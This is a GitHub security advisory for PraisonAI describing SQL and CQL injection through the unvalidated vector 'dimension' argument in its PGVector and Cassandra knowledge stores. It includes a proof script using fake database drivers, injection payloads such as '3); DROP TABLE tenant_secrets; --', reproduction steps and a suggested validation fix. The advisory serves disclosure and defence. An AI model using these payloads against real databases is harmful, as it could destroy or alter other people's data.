{"id":"GHSA-wf65-4jjx-q444","summary":"PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL","details":"# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector\u003cfloat, {dimension}\u003e\n    )\n\"\"\")\n```\n\nPassing a string such as `3\u003e; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI's current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -\u003e None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -\u003e None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -\u003e \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -\u003e None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -\u003e SqlRecorder:\n        return self.recorder\n\n    def commit(self) -\u003e None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -\u003e FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -\u003e None:\n        return None\n\n    def closeall(self) -\u003e None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -\u003e list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -\u003e None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -\u003e None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -\u003e FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -\u003e None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -\u003e None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -\u003e None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -\u003e str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -\u003e str:\n    try:\n        store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.\n        return f\"{type(exc).__name__}: {exc}\"\n    return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_pg_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n    store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3); DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef run_cassandra(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_cassandra_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n    store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3\u003e; DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n    args = parser.parse_args()\n    source_root = args.source_root.resolve()\n\n    output = {\n        \"source\": {\n            \"repository\": \"MervinPraison/PraisonAI\",\n            \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n            \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n        },\n        \"pgvector\": run_pgvector(source_root),\n        \"cassandra\": run_cassandra(source_root),\n    }\n\n    assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n    assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n    print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n  \"pgvector\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n      }\n    ]\n  }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n  \"cassandra\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector\u003cfloat, 3\u003e; DROP TABLE tenant_secrets; --\u003e ...)\"\n      }\n    ]\n  }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector\u003cfloat, 3\u003e` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -\u003e int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value \u003c= 0 or value \u003e 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3\u003e; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai \u003e= 3.10.0, \u003c= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector\u003cfloat, {dimension}\u003e`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`","aliases":["CVE-2026-60090"],"modified":"2026-10-08T17:31:45.994599499Z","published":"2026-10-08T17:17:01Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-08T17:17:01Z","nvd_published_at":null,"cwe_ids":["CWE-89","CWE-943"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60090"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.58","4.6.59","4.6.60","4.6.62","4.6.63","4.6.64","4.6.65","4.6.67","4.6.68","4.6.70","4.6.71","4.6.72","4.6.74","4.6.75","4.6.77","4.6.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.6.77","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-wf65-4jjx-q444/GHSA-wf65-4jjx-q444.json"}}],"schema_version":"1.9.0"}